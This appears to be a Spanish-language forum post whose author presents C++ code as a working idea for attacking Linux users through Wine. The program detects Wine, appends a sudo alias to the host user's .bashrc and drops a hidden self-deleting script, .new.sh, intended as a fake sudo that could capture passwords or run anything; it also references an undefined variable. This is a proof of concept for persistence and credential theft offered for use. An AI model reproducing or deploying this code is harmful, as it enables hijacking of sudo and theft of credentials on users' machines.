quizás explotar algún fallo de wine..
si habria que ver pero por ahora
mi idea funciona claro se puede mejorar muchas cosas pero funciona
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
HKEY llave;
//comprobamos la existencia de wine
long wine=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\wine",0,KEY_READ,&llave);
if(wine!=ERROR_SUCCESS)
{
MessageBox(NULL,"no es wine","WINDOWS",MB_OK);
}
else
{
MessageBox(NULL,"wine detectado","WINDOWS",MB_OK);
// obtenemos el nombre de usuario que es el nombre de la carpeta home
char *usuario
=getenv("USERNAME"); //por lo general wine permite el directorio root desde Z: asi que Z:\home\usuario es la carpeta del usuario
char *home="Z:\\home\\";
//------------------------------
//----------------------------------
//nos ubicamos en el directorio de usuario una vez alli creamos un alias sudo=MiComando.sh en bashrc asi que cuando vuelvan a abrir la consola y ejecutan sudo abrira nuestro comando
if( SetCurrentDirectory(home2)!=0 )
{
ofstream bashrc;
ofstream nuevosudo;
bashrc.open(".bashrc",ios::app);
if(bashrc.is_open())
{
// le doy permisos para ejecutarlo y luego ejecuto el new.sh cuando abre sudo y ademas ejecuta nuestro comando
bashrc << "alias sudo='chmod +x \"$HOME/.new.sh\" && \"$HOME/.new.sh\" '" << endl;
bashrc.close();
//si no pongo en el nuevosudo ios::binary da error
nuevosudo.open(".new.sh",ios::binary);
nuevosudo << "#!/bin/bash " << endl;
nuevosudo << "echo aca iria el sudo falso :D"<<endl;
nuevosudo << "echo o cualquier cosa que se nos ocurra" << endl;
// comando para borrar la ultima linea de un archivo que seria el alias que acabo de escribir en bashrc
nuevosudo << " cat .bashrc | awk 'BEGIN{x=0};{x++};END{print \"sed -i\" \" \"x\"d\" \" \" \".bashrc\" }'| sh " << endl;
// se corra el comando
nuevosudo << "alias sudo='/usr/bin/sudo' &" << endl;
nuevosudo << "rm \$0" << endl;
nuevosudo.close();
}
}
}
return 0;
}